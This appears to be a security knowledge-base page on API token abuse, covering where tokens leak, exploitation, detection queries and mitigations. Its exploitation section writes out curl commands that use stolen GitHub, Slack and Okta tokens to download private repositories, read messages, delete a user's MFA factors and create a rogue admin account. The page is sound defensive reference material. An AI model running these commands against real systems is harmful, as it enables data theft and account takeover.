Skip to main content

API Token Abuse

ATT&CK: T1552.001 — Credentials in Files, T1552.004 — Private Keys

API tokens are static long-lived credentials that bypass MFA and standard authentication controls. They are the most common form of non-human identity credential and are routinely exposed in source code, CI/CD pipelines, and developer workstations.


Why API Tokens Are High-Value Targets

PropertyRisk
Static credentialsNo rotation unless intentionally done
MFA bypassTokens authenticate programmatically — no MFA prompt
Broad scopeTokens often scoped too broadly at creation
Widely exposedCommitted to repos, in config files, in browser history
Slow revocationOrganizations often don't know which tokens exist

Common API Token Types

PlatformToken TypeTypical Scope
GitHubPersonal Access Token (PAT), Fine-grained PATrepo, org, admin
GitHubGitHub App installation tokenOrg resources scoped by app
SlackBot token (xoxb-), User token (xoxp-)Message read/write, user management
SalesforceOAuth access token, API keyCRM data, admin functions
AWSAccess Key ID + SecretIAM permissions
GCPService Account JSON keyGCP API access
AzureService principal client secretAzure resource management
OktaAPI token (SSWS)Full admin API
Jira/ConfluenceAPI tokenProject/space read/write
PagerDutyAPI keyIncident management

Exposure Vectors

1. Source Code Repositories (Most Common)

# GitHub — search for secrets in public repos
# GitHub has secret scanning alerts but many slip through historically
# Common patterns to grep for in git history:
git log --all -p | grep -E "(AKIA|ghp_|xoxb-|xoxp-|sk-|SSWS)"

# Search git history even after "deletion"
git log --diff-filter=D -- '*.env'
git show <commit>:.env

2. CI/CD Pipeline Environment Variables

# GitLab CI example with accidentally exposed secret
variables:
GITHUB_TOKEN: "ghp_xxxxxxxxxxxxxxxxxxxx" # Should be in CI/CD secrets, not here
SLACK_WEBHOOK: "https://hooks.slack.com/services/T.../B.../xxx"

3. Hardcoded in Application Code

# Python example of hardcoded token (common in PoC code that gets committed)
OKTA_API_TOKEN = "00xxx-xxxxxxxxxxxxxxxx"
github_token = "ghp_xxxx"
slack_token = "xoxb-xxxx-xxxx-xxxx"

4. Browser Developer Tools / Local Storage

// Many SaaS web apps store tokens in localStorage — accessible via XSS
localStorage.getItem('api_token')
sessionStorage.getItem('auth_token')

Exploitation Examples

GitHub PAT

# Authenticate with stolen PAT
git clone https://<token>@github.com/org/private-repo.git

# List all repos the token can access
curl -H "Authorization: token ghp_xxx" https://api.github.com/user/repos

# Exfiltrate code
curl -H "Authorization: token ghp_xxx" \
"https://api.github.com/repos/org/private-repo/zipball" -L -o repo.zip

# If token has admin:org scope
curl -H "Authorization: token ghp_xxx" \
"https://api.github.com/orgs/myorg/members"

Slack Token

# xoxb- (bot token) or xoxp- (user token)
# List all channels
curl -H "Authorization: Bearer xoxb-xxx" \
"https://slack.com/api/conversations.list"

# Read messages from a channel
curl -H "Authorization: Bearer xoxb-xxx" \
"https://slack.com/api/conversations.history?channel=C0xxx"

# If user token with admin scope — list all workspace users
curl -H "Authorization: Bearer xoxp-xxx" \
"https://slack.com/api/users.list"

Okta API Token (SSWS)

# Full admin API access with stolen Okta SSWS token
# List all users
curl -H "Authorization: SSWS <stolen-token>" \
"https://company.okta.com/api/v1/users"

# Reset a user's MFA
curl -X DELETE -H "Authorization: SSWS <stolen-token>" \
"https://company.okta.com/api/v1/users/<userId>/factors"

# Create admin user
curl -X POST -H "Authorization: SSWS <stolen-token>" \
-H "Content-Type: application/json" \
-d '{"profile":{"firstName":"hacked","lastName":"user","email":"attacker@attacker.com","login":"attacker@attacker.com"},"credentials":{"password":{"value":"P@ssword123"}}}' \
"https://company.okta.com/api/v1/users?activate=true"

Detection Patterns

GitHub

  • GitHub Advanced Security / Secret Scanning automatically detects common token patterns when committed
  • GitHub Audit Log: git.clone events with PAT authentication from unexpected IPs
  • Watch for org.add_member or team.add_member events

Okta System Log

event.type = "system.api_token.create"
event.type = "user.account.reset_mfa_factor" AND actor.type != "User" (programmatic reset)

General API Abuse

// Unusual API call volume by API key
// (Platform-specific — most SaaS platforms surface this in their own logs)
// For AWS: CloudTrail high-volume API calls from single access key
AWSCloudTrail
| where userIdentity.type == "IAMUser"
| where userIdentity.accessKeyId == "<suspicious-key>"
| summarize count() by eventName, bin(eventTime, 1h)
| order by count_ desc

Mitigation

ControlEffect
Secrets scanning in CI/CD (Gitleaks, TruffleHog)Detect before commit reaches repo
GitHub Secret Scanning alertsAutomatic detection for major token formats
Rotate all tokens periodically (90 days)Limit persistence window
Use short-lived tokens where possible (GitHub Apps over PATs)Auto-expire eliminates long-term theft risk
Inventory all API keys (Astrix, Veza, SailPoint NHI)Know what exists before attackers find it
Revoke tokens on employee offboardingDon't leave tokens active for departed staff

TopicLink
OAuth App Abuseoauth-app-abuse
SCIM Abusescim-abuse
IGA — NHI Governanceiga-overview
Astrix Securityitdr-vendor-landscape